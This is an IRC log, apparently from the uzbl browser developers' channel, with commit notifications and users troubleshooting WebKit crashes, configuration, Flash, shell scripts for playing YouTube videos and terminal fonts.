19:36 < github> added FORM_ACTIVE event and config example
19:36 < github> http://bit.ly/2fh9it
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19:40 < github> uzbl: keis experimental SHA1-d1e7170
19:40 < github> stop using deprecated gtk_widget_ref.
19:40 < github> http://bit.ly/2j1g1C
19:40 < github> uzbl: Dieter Plaetinck experimental SHA1-6a05978
19:40 < github> Merge commit 'd1e717013bda33073d86dfff039c742165046d29' into experimental
19:40 < github> http://bit.ly/4Bas3w
19:40 < github> uzbl: Dieter Plaetinck experimental SHA1-791f2fb
19:40 < github> update authors file
19:40 < github> http://bit.ly/1RwaTd
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19:47 < rob|> Dieterbe_: yeah
19:48 < Dieterbe_> ah never mind i already figured out what i wanted to ask
19:48 < Dieterbe_> but my above question remains :P
19:49 < rob|> mason-l: btw, we thought about making events&requests a little bit more different. so, all _requests_ wuld be buffered in core during the runtime of the instance, so we can replay them when the EM dies/looses connection/reloads/whatever
19:50 < modnaru> rob|: Will the user be notified so he doesn't continue to queue events?
19:51 < rob|> about connection loss?
19:51 < rob|> well, yeah we could do that
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19:52 < rob|> probably best done in status_message
19:55 < mason-l> rob|, I've also been thinking about that and I think that instead of keeping megabytes of event messages in ram just reload the config after a re-connection to the EM.
19:55 < mason-l> Just got to be careful about accidentally changing the page while doing that.
19:56  * ruskie prods mason-l 
19:56 < rob|> well, we wouldn't buffer events but only request and with that only requests should be used for non-volatile EM config options
19:56 < mason-l> Maybe this calls for actually having a 'set home_page = http://uzbl.org/'.
19:57 < mason-l> Oh I see.
19:57 < mason-l> Thats a nice idea.
19:57 < mason-l> Thats quite possibly an awesome solution to the problem.
19:58 < rob|> right, i guess that'll work pretty well
19:58 < mason-l> Forget my suggestion :P
19:58 < rob|> ;)
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20:02 < rob|> Dieterbe_: i don't have that ctrl-d issue
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20:02 < github> uzbl: Robert Manea experimental SHA1-4c29f0b
20:02 < github> added ROOT_ACTIVE event
20:02 < github> http://bit.ly/4tnTmb
20:02 < github> uzbl: Robert Manea experimental SHA1-a8f9841
20:02 < github> added menu_editable_* commands
20:02 < ruskie> mason-l, so got any solution for -tabbed yet on master?(I spammed you yesterday in private about the prob)
20:02 < github> http://bit.ly/4BYBb9
20:02 < github> uzbl: Dieter Plaetinck experimental SHA1-e4dbe44
20:02 < github> Merge commit 'a8f9841e47a1caafd31bc976676d41f926bc8fd0' into experimental
20:02 < github> http://bit.ly/3FAc8T
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20:03 < mason-l> ruskie, You should always ask in the channel, and you'll have to re-ask because I didn't see it before I restarted some time yesterday.
20:04 < ruskie> I did as well though not as detailed
20:04 < ruskie> having issues with latest master uzbl_tabbed
20:04 < ruskie> from the verbose output:
20:04 < ruskie> 'bind_tab_from_uri': ':T _',
20:04 < ruskie> Binding :T _       : sh "echo "new %s" > "/home/ruskie/.cache/uzbl/uzbltabbed_2279""
20:04 < ruskie> new
20:04 < ruskie> spawned: 'dash' '-c' 'echo new' '' '/home/ruskie/.config/uzbl/config' '2281' '0' '/home/ruskie/.cache/uzbl/uzbl_fifo_50331651_01' '/home/ruskie/.cache/uzbl/uzbl_socket_50331651_01' '' '' 'www.najdi.si > /home/ruskie/.cache/uzbl/uzbltabbed_2279' -- result: true
20:04 < ruskie> but it doesn't open a new tab with the new url
20:04 < ruskie> nothing actually happens
20:05 < ruskie> if I manually echo new into uzbltabbed fifo it does open it
20:05 < mason-l> Known issue!
20:05 < Dieterbe_> rob|: http://sprunge.us/FjcF that's where it hangs. when i do ^d uzbl starts and see a lot of events
20:05 < mason-l> I can help!
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20:07  * ruskie waits for the secret to be revealed
20:07 < mason-l> http://bbs.archlinux.org/viewtopic.php?pid=638452#p638452
20:07 < mason-l> Someone should submit a patch :)
20:08 < mason-l> Wait..
20:08 < mason-l> Was that it..
20:09 < ruskie> seems to be it
20:10 < mason-l> Its working now?
20:10 < ruskie> yup
20:10 < mason-l> Nice :D
20:10 < ruskie> thanks
20:10 < mason-l> ruskie, Submit a patch!
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20:11 < ruskie> it's not my fix
20:11 < rob|> but it fixes it for you ;)
20:11 < ruskie> someone else did the fix
20:12 < mason-l> ruskie, Simple: --author "Mason Larobina mason.larobina@gmail.com"
20:12 < mason-l> :P
20:12 < ruskie> lol
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20:15 < yitz_> Hi peoples. I just started using uzbl. And then uzbl just started segfaulting on me on load...
20:15 < rob|> known issue. bug in latest webkit release
20:16 < rob|> so, best thing is to downgrade to the previoud webkit until thinks are fixed there
20:16 < rob|> *previous
20:16 < yitz_> Darn. OK. Thanks
20:16 < yitz_> Arch needs a way to downgrade other than hoping you got something in your cache
20:16 < rob|> indeed
20:17 < mason-l> Its the only reason I ditched Arch and went back to Gentoo.
20:17 < mason-l> But you should see my /etc/portage/package.{keywords,unmask} *sigh*
20:18 < rob|> yitz_: i have the .pkg.tar.gz here, though i'm not sure wether that helps (without the actual cache index)
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20:19 < yitz_> I got the package. uzbl is working again
20:19 < yitz_> Thanks
20:19 < rob|> ah, alright
20:19 < yitz_> How's the vimperator-like f-follow-link work? F highlight/numbers the links but I can't figure out how to 'click' one
20:20 < rob|> you should use the 'fl' bindings that script is more advanced
20:20 < juantelez> yitz_ "fl"
20:20 < rob|> follow_Numbers.js that is
20:21 < yitz_> Ah. Cool. Thanks
20:22 < yitz_> I need to play with the config/scripts/binding etc still
20:22 < rob|> you better do that on experimental, though. quite a lot has changed and you'll also have way more things to play with
20:28 < yitz_> Which command do I run? uzbl-browser doesn't seem to be reading the same conf/data files
20:28 < rob|> did you 'make install'?
20:29 < yitz_> makepkg ; pacman -U package
20:29 < rob|> best thing is to copy the example config over and use that as a template for your modifications.
20:29  * yitz_ used the aur
20:29 < yitz_> I did do that
20:29 < rob|> hmm, not sure how fresh that one is
20:30 < yitz_> It pulls directly from git
20:31 < axionix> so should i downgrade or get webkit-git?
20:31 < yitz_> _gitname=experimental  ;  git checkout origin/$_gitname  ;  make ; make PREFIX="$pkgdir/usr" install
20:31 < yitz_> (Extracted lines from the PKGBUILD)
20:31 < rob|> yitz_: yeah use the example config as a template
20:31 < yitz_> It doesn't seem to be capturing my keystrokes
20:32 < rob|> yitz_: once again, your old config won't work anymore
20:33 < yitz_> Oh. OK.
20:33 < axionix> i dont have the cached package anymore :(
20:34 < rob|> yitz_: basically uzbl is now separated into 2 parts. one being the core browsing widget, the other a so called event manager (EM) which takes cares of things like key bindings and a lot more stuff
20:34 < yitz_> axionix: I can dcc it to you
20:34 < axionix> yitz_: i'm on i686, not x86_64
20:36 < yitz_> $  uzbl-daemon
20:36 < yitz_> /usr/bin/uzbl-daemon: line 20: /usr/local/share/uzbl/examples/data/uzbl/scripts/event_manager.py: No such file or directory
20:36 < yitz_> Musta messed up a path in the make
20:36 < mason-l> Problems already :D
20:37 < rob|> yeah, probably
20:37 < mason-l> yitz_, Did you change the $PREFIX location?
20:37 < rob|> axionix: http://omploader.org/vMmxzZQ/libwebkit-1.1.15.2-1-i686.pkg.tar.gz
20:37 < axionix> rob|: thanks :)
20:37 < rob|> sure thing
20:37 < axionix> btw, what is this new split uzbl stuff?
20:37 < axionix> in git?
20:38 < rob|> yeah, git experimental branch
20:38 < axionix> oh...im using main branch...afraid to redo my scripts/config
20:39 < rob|> scripts don't have to be changed, just a couple of config options (like bindings)
20:39 < yitz_> mason-l: The PKGBUILD did it for make install but not plain make
20:39 < axionix> are arrow keys able to be bound yet in experimental?
20:39 < rob|> yes
20:39 < axionix> woohoo im switching
20:40 < yitz_> Oh... nvm. I think I got it
20:40 < rob|> we also have some nice goodies like automatically switching to insert mode if an editable form is clicked or has initial focus
20:40 < mason-l> yitz_, You should also have problems running the cookie daemon also if the event_manager.py cannot be found at that path.
20:40 < axionix> rob|: i use go_input for that
20:41 < yitz_> Gah! /usr/bin/uzbl-daemon ->  18 EVENT_MANAGER=/usr/local/share/uzbl/examples/data/uzbl/scripts/event_manager.py
20:41 < yitz_> So much for using XDG
20:41 < rob|> axionix: that won't work on initial focus, though
20:42 < rob|> axionix: you'll have to hit a binding for it
20:42 < yitz_> Especially since the preceding 10 lines actually try to find the XDG path :S
20:42 < axionix> rob|: i put it in load finish handler
20:42 < rob|> ah i see
20:42 < mason-l> yitz_, uzbl-daemon (if its going to be kept) does need some work.
20:42 < rob|> anyways, you won't get switch to insert on click at least ;)
20:42 < mason-l> But the same issue applies to the cookie daemon at the moment.
20:42 < axionix> rob|: yeah, that's a nice feature
20:43 < rob|> oh and this: http://www.uzbl.org/wiki/go-input
20:43 < rob|> damn, fail!
20:43 < rob|> this: http://www.uzbl.org/wiki/dynamic_zooming
20:43 < axionix> i like my text to stay same size
20:44 < axionix> even using a tiling wm
20:44 < rob|> well, that was something that always bugged me in tilers
20:45 < axionix> i'm using dwm...i use a 20% slave area for tabs
20:46 < rob|> mason-l: did you have a chance to test the FOCUS events, yet?
20:46 < mason-l> rob|, Nope, not yet.
20:46 < kick52> axionix: do you use any patches? I think I'm going to apply nmaster or gridmode for terminals etc.
20:47  * kick52 listens to the Facing Worlds theme tune from UT99
20:47 < axionix> kick52: i use use nmaster but i dont see any difference with it :D
20:47 < rob|> why are you using it then?
20:48 < axionix> because it didnt do anything so no motivation to recompile to do the same thing :P
20:48 < rob|> hehe
20:48 < rob|> well, i gave up on nmaster and use vim's split window feature instead
20:49 < axionix> yeah i do use screen tosplit anyhow
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20:50 < axionix> i'm absolutely amazed at the amount of scripts in the wiki in thelast month or 2
20:50 < axionix> uzbl is spreading like wildfire
20:51 < rob|> :)
20:52 < rob|> an easy to use scripting interface is a nice thing
20:52 < axionix> dzen downloads kickass too
20:52 < axionix> indeed
20:52 < axionix> i should rewrite my youtube script in python
20:53 < axionix> and make it post-able
20:54 < yitz_> mason-l: cookies work fine. It was just the daemon
20:54 < axionix> made a simple little shell script to disable flash on yt, and launch mplayer instead
20:54 < rob|> axionix: ah, nice
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20:54 < axionix> with the ability to specify hd quality video as default :)
20:55 < lich> launch mplayer to stream?
20:55 < lich> or download and then play
20:55 < axionix> stream
20:56 < yitz_> That script sounds nifty!
20:57 < yitz_> Are all the scripts in the data/script automatically bound/loaded or whatever?
20:57 < axionix> it is based on a command i found: mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")
21:00 < rob|> axionix: we don't have your script on the wiki yet, do we?
21:00 < rob|> axionix: would be a pretty cool addition, though
21:00 < axionix> rob|: no, because it has a bug...needs to be rewritten OOP instead of bash
21:00 < rob|> OOP? why that?
21:00 < axionix> it spawns 2 instances in some cases currently written procedurally
21:01 < rob|> hmm
21:02 < rob|> and you think OOP would make a difference? to me it sounds more like a bug in the logic than a proc vs. OOP issue..
21:03 < lich> feature request, EASTER EGGS!
21:03 < lich> tetris for starters :D
21:04 < rob|> lich: @bind tetris = uri http://www.alexo.org/onlinespiele/tetris.php
21:04 < axionix> rob|: it is a bug in the logic...the logic of working procedurally for complex loops
21:04 < lich> rob|: lol <3
21:04 < axionix> hehe i hate shell scripting
21:04 < axionix> i'm trying to find my code...so i can pastebin it
21:04 < rob|> well, with uzbl you have the freedom to use the lang you like best. so i will shut up now ;)
21:08 < axionix> damn, i think i got pissed at my code and removed it. i found an earlier copy i gave someone on pastebin though
21:11 < yitz_> Dang. The form filler ain't running. I guess I need to bind it somehow...
21:11 < rob|> no sure, don't use that one
21:12 < rob|> *not
21:15 < axionix> rob|: know any bash?
21:15 < rob|> yeah
21:16 < axionix> i cant figure out what is wrong with this old version of my script i salvaged
21:16 < axionix> syntax error
21:16 < axionix> http://pastebin.com/f7066df0d
21:16 < rob|> bash sucks anyway, zsh is the thing to use for real scripting ;)
21:17 < axionix> rob|: well it is technically sh
21:17  * yitz_ knows bash pretty well
21:17 < yitz_> I hang out a lot in #bash
21:17 < axionix> oh shit
21:17  * yitz_ gets to rewriting
21:18 < axionix> html inserted weird characters when i copied it
21:18 < axionix> yitz_: :)
21:19 < rob|> oh, well. so i'll let yitz_ do the work :P
21:19 < axionix> yitz_: you must really know your bash if you can put up with #bash
21:19 < rob|> bash is lacking too many nice features
21:19 < rob|> like good data structures
21:19 < axionix> i use fish
21:20 < axionix> i use fishi think it has better globbing and features than zsh, my previous shell
21:20 < rob|> i use zsh, and it's C like scripting features.
21:20 < rob|> *its
21:20 < yitz_> om/f7066df0d
21:20 < yitz_> 15:16       rob|| bash sucks anyway, zsh is the thing to use for real scripting ;)
21:20 < yitz_> 15:17    axionix| rob|: well it is technically sh
21:20 < yitz_> 15:17           | yitz_ knows bash pretty well
21:20 < yitz_> 15:17      yitz_| I hang out a lot in #bash
21:20 < yitz_> 15:17    axionix| oh shit
21:20 < yitz_> 15:17           | yitz_ gets to rewriting
21:20 < yitz_> Oop
21:20 < rob|> not stupid do;done;if;then;fi bullshit
21:21 < yitz_> Hrm. Can't retrieve from whatever clipboard uzbl uses
21:21 < axionix> yitz_: use xclip
21:22 < yitz_> http://pastebin.com/d4b38b5f6
21:22 < yitz_> axionix: I did
21:22 < axionix> yitz_:
21:22 < axionix> bind    ^C              = sh 'echo -n $6 | xclip'
21:22 < axionix> bind    p               = sh 'echo "uri `xclip -selection primary -o`" > $4'
21:22 < axionix> bind    P               = sh 'echo "uri `xclip -selection clipboard -o`" > $4'
21:22 < axionix> thats for main uzbl branch anyway
21:22 < yitz_> yurl is bound to some xclip cmd
21:22 < axionix> no need for yurl imo
21:23 < yitz_> axionix: Not sure how to parse line 16
21:23 < axionix> what do you mean?
21:24 < kick52> hello, does anyone here have flash working properly? I folled instructions here from someone last night to put libflash.so in /usr/lib/mozilla/plugins/, but I can't watch youtube videos for example
21:24 < yitz_> y2url seems right
21:24 < yitz_> axionix: WHat's it supposed to do?
21:25 < rob|> kick52: hmm, that should really work out of the box. you must have messed up flash installation somehow
21:25 < kick52> rob|: I just downloaded it and mv'd it.
21:25 < axionix> yitz_: to tell you the truth #bash helped with that line
21:25 < kick52> do I need to have something enabled in the config? I haven't got a config file at all (at the moment)
21:25 < axionix> $6 is from uzbl's current URL
21:26  * yitz_ suspects that the ret status is the ret status of the command ran, but is not certain that'd work
21:26 < rob|> kick52: no, if the plugin is there (and all other dependent parts) it will just work
21:26 < axionix> youtube-dl -f format -g url will return the mplayer-friendly url
21:26 < yitz_> axionix: Are you testing the return status of youtube-dl ?
21:26 < yitz_> Or it's STDOUT?
21:26 < axionix> stdout i think
21:27 < yitz_> Nah. It does work right. It does test the exit status of youtubedl
21:28 < yitz_> Which I assume is correct behaviour
21:28 < Dieterbe_> odd. on my laptop uzbl segfaults, on my main pc it doesn't. and i have libwebkit 1.1.15.3-1 on both
21:28 < bct> same architecture?
21:28  * yitz_ vaguely recalls someone in #bash asking about this script
21:28 < Dieterbe_> yeah both i686
21:28 < yitz_> Dieterbe_: Downgrade webkit to 1.3?
21:28 < axionix> yitz_: i'd like to remove the youtube-dl dep, but youtube's api keeps changing so i rely on an external tool that can keep up to date with them
21:28 < rob|> Dieterbe_: hmm yeah, odd. for me it segfaults on the laptop and in vmware
21:29 < bct> heh, youtube's "api"
21:29 < kick52> hmm. why isn't this working.
21:29 < axionix> well, their closed api
21:29 < Dieterbe_> btw mason-l and rob| , i pulled all you guys' stuff in my exp
21:29 < rob|> ok, nice
21:30 < yitz_> axionix: What's not working with it? Did you try set -x?
21:30 < axionix> yitz_: the problem was that for some videos, i think HD videos, it runs 2 mplayers...maybe SD and HD...i didnt debug it much
21:31 < rob|> kick52: strange, so you have libflashplayer.so in /usr/lib/mozilla/plugins and it is readabel and executable for all?
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21:31 < axionix> something clearly wrong with the loop though
21:31 < kick52> rob|: let's check.
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21:31 < yitz_> axionix: Sounds right. You set VALID_URL=1 then run something in the bg then say if VALID_URL = 1 then mplayer
21:31 < yitz_> axionix: And the first loop sometimes runs mplayer
21:32 < Dieterbe_> rob|: did you get in touch with the webkit guys re segfaults?
21:32 < axionix> yitz_: hmmm, yeah im not sure how to fix it
21:33 < rob|> Dieterbe_: nope, not about this one yet
21:33 < Dieterbe_> k
21:33 < yitz_> axionix: Drop the &
21:34 < axionix> yitz_: dont see a &
21:34 < axionix> unless you removed it in your paste
21:34 < yitz_> Hrm. Maybe I misread
21:34 < yitz_> 1 sec
21:34 < yitz_> Lemme test it
21:35 < kick52> rob|: yes :S
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21:36 < rob|> Dieterbe_: you should at least provide the webkit guys a gdb backtrace
21:37 < rob|> Dieterbe_: don't forget to comment the binary stripping in the makefile before you do so
21:37 < rob|> kick52: odd. i'm out of ideas. doesn#t your distribution have a flash package?
21:37 < kick52> I'm using arch
21:37 < rob|> me too
21:37 < kick52> I'll try a package, maybe the download screwed up or something?
21:37 < rob|> and it works for me and many others flawlessly
21:38 < axionix> me too
21:38 < kick52> :(
21:39 < rob|> a screwed doanload is pretty unlikely, though
21:39 < rob|> *download
21:39 < kick52> wow, why do I need to download mozilla-common just to download flash
21:39 < axionix> indeed. my guess is lack of mozilla-common or bad webkit
21:39  * kick52 hates bloat!
21:40 < rob|> kick52: heh, welcome to the wonderful world of the web..
21:40 < kick52> right, that's installed.
21:41 < kick52> yay! it's working now!
21:41 < kick52> :D
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21:42 < kick52> okay NOW for my next issue :(
21:43 < rob|>     
21:43 < kick52> hmm, I haven't got any fonts on flash
21:43 < kick52> okay install ttf-ms-fonts or whatever will fix that.
21:46 < axionix> yitz_: im trying to reproduce the 2 instances bug with no luck...must be certain videos only
21:46 < axionix> i'm guessing its due to the quality number available
21:46 < axionix> i'm not sure though...havent seen it yet
21:46 < yitz_> axionix:  http://dpaste.com/111196/
21:46 < yitz_> My edition
21:48 < axionix> hmm interesting
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21:49 < axionix> were you able to locate the bug?
21:50 < kick52> oh god, there has to be a way to disable bold font in urxvt. otherwise I WILL cry
21:50 < axionix> never had a bold font in urxvt before
21:50 < yitz_> axionix: No
21:51 < kick52> you are lucky :P
21:51 < axionix> but you can set a bold font in Xdefaults
21:51 < axionix> just set it to non bold font
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21:51 < kick52> yup, that's what I'm hoping will work now
21:51 < rob|> Dieterbe_: seems they located the bug and whom to blame ;)
21:51 < lich> you?
21:52 < axionix> yitz_: what does the exec line do?
21:52 < yitz_> axionix: redirects STDOUT and STDERR to null for the rest of the script
21:52 < yitz_> http://www.classical963fm.com/player/ -> this ain't working in uzbl...
21:52 < axionix> ah, nice to know
21:52 < rob|> lich: no, at least one project i'm not involved in ;)
21:52 < lich> lol
21:54 < axionix> yitz_: hmm you're right
21:54 < axionix> i found a lot of sites that dont work in uzbl though
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21:55 < yitz_> I think it is JS
21:55 < axionix> usually is
21:55 < axionix> yitz_: disable cookie handler and retry
21:55 < yitz_> Is the uzbl JS parser rebuilt from scratch?
21:55 < bct> good god no.
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21:55 < axionix> js cookies have a problem with cookie daemon
21:56 < bct> yeah, the cookie daemon doesn't know about them.
21:56 < bct> neither does the stdin/out cookie handler.
21:56 < axionix> i just dont use sites that require cookies
21:56 < yitz_> axionix: cookie handler didn't fix it
21:56 < bct> i didn't know that js cookies were at all common
21:57 < axionix> hmm
21:57 < bct> (there are also HTML cookies, cookie handlers aren't aware of those either)
21:58 < yitz_> What is an html cookie?
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21:59 < bct> <meta http-equiv="Set-Cookie:" />
22:00 < bct> http-equiv is the dumbest.
22:00 < axionix> go to http://www.myp2p.eu and click on the Forum tab....tell me if youcan figure that one out :)
22:00 < bct> should never have been invented.
22:00 < axionix> it loads the same page instead of the forum
22:01 < axionix> works in midori so cant be webkit
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22:05 < rob|> axionix: well, it must be webkit as we don't intercept clicks on links in any way
22:05 < yitz_> Damn. Just wasted a whole day (3 hours) between IRC, email and a new browser. :( Time to head home... Bye bye
22:05 < rob|> axionix: maybe midori does some magic, though
22:05 < axionix> yitz_: thanks man
22:06 < axionix> rob|: true, seems to be bad web design/js
22:06 < axionix> # is the uri
22:06 < axionix> redirects to myp2pforum.net
22:06 < axionix> why not just link the correct url?
22:06 < axionix> i hate javascript for purposes like this
22:07 < rob|> indeed
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22:08 < lithis_> axionix: What happens if you click on the forum tab, but not on the text?
22:08 < axionix> nothing
22:09 < axionix> the text is the only link
22:10 < Dieterbe_> rob|: they did?
22:10 < Dieterbe_> ah they were talking about it on their channel
22:10 < rob|> yeah
22:10 < Dieterbe_> good. so we can expect a bugfix release this weekend i guess :P
22:10 < lithis_> axionix: But there's a JavaScript redirect on the TD which encloses the link.
22:10 < rob|> hopefully
22:11 < Dieterbe_> btw rob| did you see this thread? http://bbs.archlinux.org/viewtopic.php?pid=642624
22:11 < axionix> lithis_: i couldnt tell you why
22:11 < lithis_> I mean window.open(), not redirect.
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22:12 < rob|> Dieterbe_: yeah, saw it :)
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22:14 < Dieterbe_> using mplayer as slave now. works pretty well
22:14 < axionix> wee thanks to yitz_ i'm posting my script to the wiki soon as i test it some
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22:14 < kick52> UGH. doing xft:font:medium just fucks up urxvt.
22:14 < rob|> Dieterbe_: i have this habit of checking a couple of search terms on google (advanced search, last 24hours) every morning ;)
22:15 < axionix> rob|: i have an rss feed for that :)
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22:15 < rob|> i might polish my script for that at some point and release it..
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22:15 < rob|> axionix: bah, all this new tech stuff ;)
22:15 < bct> mplayer slave mode is great, but its half-assed playlist support is lame
22:15 < axionix> rob|: hehehe i hear ya
22:15 < Dieterbe_> rob|: now i'm curious.. i google manually for uzbl every once in a while to find articles/blogposts about it. and sometimes i google my name but thats it
22:16 < Dieterbe_> bct: please elaborate on the 50%-bottom playlist support
22:16 < rob|> Dieterbe_: i just have a script that does that kind of searches and spawns a couple of uzbls (or tabbed)
22:16 < Dieterbe_> i see
22:16 < rob|> it is ugly, unpolished and only made to suit my very needs yet
22:16 < bct> you can add things to the playlist, and navigate through it to some extent
22:17 < bct> but you can't e.g. clear the playlist
22:17 < bct> or move things around in it.
22:17 < bct> or see what's in it.
22:17 < Dieterbe_> hmm that's odd
22:17 < Dieterbe_> since mplayer is otherwise quite featurecomplete, i wonder what they were thinking
22:18 < axionix> bct: slave mode sounds interesting. trying to think how i could use it with my script
22:18 < bct> the frontends that i've looked at the code for all seem to do their own playlist management and spawn a new mplayer for each file.
22:19  * rob| shudders
22:20 < bct> oh, and you have to poll mplayer to get the current playing file, current playtime, etc.
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22:20 < axionix> mplayer is a funny project. there is 1 old svn repo, and 2 new unofficial git repos, the newest one considered 'stable' by them
22:20 < bct> you can kind-of sort-of parse the "human-readable" stuff it dumps to stdout, but that's not reliable
22:20 < axionix> they have a 3 year old rc2 release...and no 1.0 yet
22:21 < opqdonut> :)
22:21 < axionix> btw the new repo with ffmpeg-ft statically compiled is much better
22:21 < axionix> ffmpeg-mt*
22:22 < rob|> axionix: well, developers want to develop and not be bothered with boring management stuff. i can feel with those guys ;)
22:22 < bct> axionix, better how?
22:22 < Dieterbe_> bct> the frontends that i've looked at the code for all seem to do their own playlist management and spawn a new mplayer for each file -> i wonder why that last part is needed. if you're managing the playlist yourself, you "know" which items are in the playlist of mplayer so you can do everything with one instance
22:23 < bct> you know what's in the playlist, but you can't change that playlist besides appending to it
22:23 < axionix> bct: well it has compile scripts to statically or use system lib if available. and it's multi-threaded which allows 1080p to be played on newer pc's without sync or speed issues
22:23 < bct> yum!
22:24 < bct> you can replace the playlist, but that stops whatever is currently playing.
22:25 < Dieterbe_> bct: oh. that sucks donkeycock
22:25 < rob|> perverts!
22:25 < bct> oh, and you can keep one instance around and just keep feeding it files from your own playlist manager
22:26 < bct> but: there's no solid way to tell when a file is done playing (afaict)
22:26 < bct> :(
22:26 < rob|> other than checking every second?
22:26 < rob|> that's pretty odd, indeed
22:27 < bct> i can't remember if that works, it didn't work for the web frontend i was writing
22:27 < rob|> they clearly need an event branch :P
22:27 < bct> but that's because i was doing all the polling of mplayer from the webapp.
22:27 < bct> preee-cisely.
22:27 < kick52> okay I'm abandoning urxvt because it can't fucking handle fonts.
22:27 < bct> urxvt is the best :(
22:27 < rob|> second that
22:27 < kick52> it's not when you can't disable bold!
22:27 < rob|> sure you can
22:28 < axionix> get_percent_pos Print out the current position in the file, as integer percentage [0-100).
22:28 < axionix> that wont help?
22:28 < kick52> you can't; using xft:font:medium screws up fonts. using -*-*-medium also screws up fonts
22:28 < kick52> well I haven't managed to do it, anyway
22:28 < Dieterbe_> okay, you can poll the playlist with vlc
22:28 < bct> axionix, i can't remember. if you have a second thread that's polling, maybe (i didn't).
22:29 < kick52> xterm was able to do it in one simple line :D
22:29 < Dieterbe_> and vlc supports unix sockets <3
22:29 < bct> orly?
22:29  * rob| sees dieter starting an uzbl-mp project soon ;)
22:29 < bct> hrm.
22:30 < Dieterbe_> no. i will let others do it. i am already neglecting my petprojects :/
22:30 < rob|> imagine a couple of applications that could make use of the event manager, that'd be pretty cool
22:31 < Dieterbe_> i don't know. Uzbl is not a standard, and if it becomes one, to try being compatible with multiple programs we could probably choose dbus instead
22:32 < Dieterbe_> uzbl's EM*
22:32 < rob|> i don't like the dbus idea
22:32 < Dieterbe_> btw bct : vlc -I rc --rc-unix $socketname
22:32 < Dieterbe_> cryptic commandline args but it works ;)
22:32 < rob|> i mean, sure many projects are using it but it's not strictly necessary
22:33 < axionix> hehe vlc.
22:35 < bct> Dieterbe_, thanks!
22:35 < rob|> p9's plumber is way nicer than all this dbus crap
22:35 < Dieterbe_> oh right.. that's still on my to-read list
22:36 < bct> i still haven't figured out what exactly the plumber does.
22:36 < Dieterbe_> good to hear that from you rob| , instead of from Uriel :D
22:36 < bct> heh
22:37 < rob|> bct: it does something very similar to our events but for the whole system
22:38 < rob|> also the passed data structures are more versatile
22:38 < Dieterbe_> hmz
22:39 < axionix> does anyone have a nice wrapper that prevents stale or already existing sockets?
22:39 < rob|> bct: http://plan9.bell-labs.com/sys/doc/plumb.html
22:40 < bct> thanks
22:46 < Dieterbe_> mason-l: btw have you heard the new DT album? i really like 'a nightmare to remember'. great song
22:47 < mason-l> Dieterbe_, I haven't and I didn't know they had a new album out. Thanks and good-night.
22:47 < axionix> is uzblctrl the best way to set uzbl variable within a script?
22:47 < Dieterbe_> mason-l: see ya
22:47 < Dieterbe_> mason-l: well it's a few months old. i think it was released in june
22:48 < Dieterbe_> axionix: uzblctrl? no... just talk to the socket or fifo
22:48 < Dieterbe_> uzblctrl doesn't exist anymore
22:48 < axionix> what if the socket is randomized externally
22:49 < kick52> man, urxvt is totally making me rage
22:50 < Dieterbe_> axionix: then use your external forces to know the socketname
22:50 < axionix> ah $5
22:50 < rob|> Dieterbe_: you know kosheen? especially the resists album is great
22:51 < rob|> http://www.youtube.com/watch?v=o00Y-bOHv0o&feature=related
22:51 < Dieterbe_> phew.. i heared one or two songs some years back.  don't thinkit's my style
22:51 < Dieterbe_> but hey i'll give it a shot
22:51 < rob|> i like her voice
22:52 < axionix> echo "set disable_plugins=1" > "$5"
22:52 < axionix> is that right?
22:52 < kick52> rob|: have you actually managed to disable bold fonts on urxvt before?
22:53 < Dieterbe_> webkit release:
22:53 < Dieterbe_> 22:52:29 < xan> Dieterbe_: very soon, probably next week
22:54 < bct> kick52, what do you mean by that? all the text is bold? some text is bold and you don't want it to be?
22:54 < kick52> disable bold fonts completely. I hate them (with small fonts, which I want to use)
22:55 < kick52> I've tried, using xft and normal fonts, but it both fails, making the bold fonts weirdly corrupted and still bold :(
22:56 < rob|> axionix: sh 'echo "set disable_plugins = 1" > "$4"'
22:57 < bct> you've been trying to set the boldFont resource?
22:57 < rob|> kick52: yeah, but i'm using this   http://dzen.geekmode.org/dwiki/doku.php?id=config:terminal-colors  and don't have any issues with bold
22:58 < kick52> hmmm :(
22:59 < rob|> axionix: oh, forgot the closing '
22:59 < rob|> axionix: or wait, no i didn't ;)
22:59 < axionix> nice...fifo works..socket didnt
22:59 < axionix> thanks
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22:59 < rob|> axionix: sure, you can't just echo to a socket
23:00 < rob|> axionix: you need socat (or something alike) for that
23:00 < axionix> ah ok. well i dont need bidi so fifo works
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23:04 < Dieterbe_> rob|: song is okay
23:04 < rob|> well, i'm a real underworld and daft punk fan. could listen all day over to their tunes
23:05 < rob|> perfect music for C coding ;)
23:05 < farhaven> heh, boards of canada is better for coding :)
23:06 < rob|> and paul kalbrenner
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23:07 < rob|> http://www.youtube.com/watch?v=Do-8e-6_kpk
23:08 < kick52> rob|: well it seems urxvt completely ignores what font weight you've spevified and just does whatever the fuck it likes, and it's making me RRRAGGE
23:08 < rob|> haha
23:09 < rob|> kick52: did you try Deja Vu? it's  really nice font and even bold looks well with it
23:09 < kick52> are there any other good terminals that support disabling bold and URLs that you know of?
23:09 < bct> ctrl-alt-f1.
23:09 < kick52> I've got a netbook so I need to use small fonts.
23:09 < kick52> bct: doesn't support clickable URLs :P
23:09 < bct> oh i thought you wanted to disable them.
23:10 < bct> kick52, how are you trying to change the bold font? with the boldFont resource?
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23:10 < kick52> oh, yeah I see how you read that
23:10 < kick52> bct: yeah
23:10 < bct> you have to restart X for resource changes to take effect iirc
23:10 < bct> tried that?
23:11 < bct> there's also the -fb flag.
23:11 < kick52> nah, the changes are working instantly (well, after restarting the terminal or spawning another)
23:12 < bct> also: "If set, but empty, then this specific style is disabled"
23:12 < bct> tried that?
23:13 < bct> cuz if that doesn't work then i guess it's totally busted.
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23:15 < kick52> no, it doesn't seem to be working
23:15 < kick52> :(
23:16 < bct> weird. i guess you have to use gnome-terminal with --extra-wide-borders and --extra-ugliness
23:16 < kick52> nooooo :'(
23:16 < bct> sorry :/
23:20 < m00nblade> kick52: did you try the terminator (http://www.tenshu.net/terminator/)?
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23:20 < rob|> is that a vte thing?
23:21 < m00nblade> yes
23:21 < rob|> :(
23:22 < bct> oh good a terminal program with a tiling window manager built in
23:22 < m00nblade> yean
23:22 < m00nblade> *yeah
23:22 < m00nblade> i started using it before i discovered the beauty of xmonad :)
23:22 < kick52> I will try it
23:22 < bct> to be fair that probably gives you 80% of the benefit of a tiling wm
23:23 < bct> (at least for me, since at least 80% of the windows i have open are terminals)
23:23 < rob|> but then you're running a full blown WM for absolutly no reason
